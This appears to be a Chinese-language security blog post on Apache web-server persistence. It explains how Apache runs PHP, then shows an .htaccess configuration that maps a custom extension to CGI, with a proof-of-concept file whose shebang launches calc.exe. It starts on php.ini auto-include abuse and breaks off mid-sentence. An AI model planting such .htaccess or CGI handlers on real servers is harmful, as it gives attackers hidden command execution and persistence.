Apache Persistece PHP      2019-11-30

一、Apache 与 PHP 的交互方式

    1. CGI 模式

        当动态请求到达,Apache启动一个临时的cgi解释器(可以在配置文件中人为指定处理的cgi脚本),当cgi脚本运行结束后,将结果返回给Apache,然后cgi解释器进程自我销毁。当多个动态请求到达时,将先后启动多个cgi解释器。所以这种方法效率极低。

    2. Module 模式

        Apache在启动的时候直接加载php_module,php-cgi常驻Apache进程里,请求到达时,不用成生成cgi解释器,而是直接将动态请求转发给它内部php-cgi。

    3. FastCGI 模式

        FastCGI是CGI的管理工具,该模式下可以实现php-cgi和Apache的分离,并运行在不同的服务器上,通过开启一定数量的CGI进程池,减少Web服务器与CGI程序之间互动的开销,从而使服务器可以同时处理更多的网页请求。PHP-FPM(FastCGI Process Manager)是用来辅助mode_fastcgi模式的fastcgi管理器,相比FastCGI静态的唤起cgi,fpm能根据访问的压力动态的唤起cgi进程和销毁以到达动态的调整cgi数量。



二、Apache 开启.htaccess 配置

        需要Apache 保证.htaccess文件所在目录配置 AllowOverride all 或者 AllowOverride Options FileInfo


三、CGI 模式利用

    1. 修改Apache 配置文件,开启 CGI 模式

LoadModule cgi_module modules/mod_cgi.so

    2. 修改 .htaccess 内容

Options ExecCGI # 允许CGI执行
AddHandler cgi-script .xx # 将xx后缀名的文件,当做CGI程序进行解析

    3. 访问 poc.xx 触发命令执行

#!C:/Windows/System32/cmd.exe /c start calc.exe
1


四、Module 模式利用

    1. 修改Apache 配置文件,开启Module 模式,引入 php.so

    2. PHP 包含其他文件

    (1)修改 php.ini 向所有php文件的头或尾包含其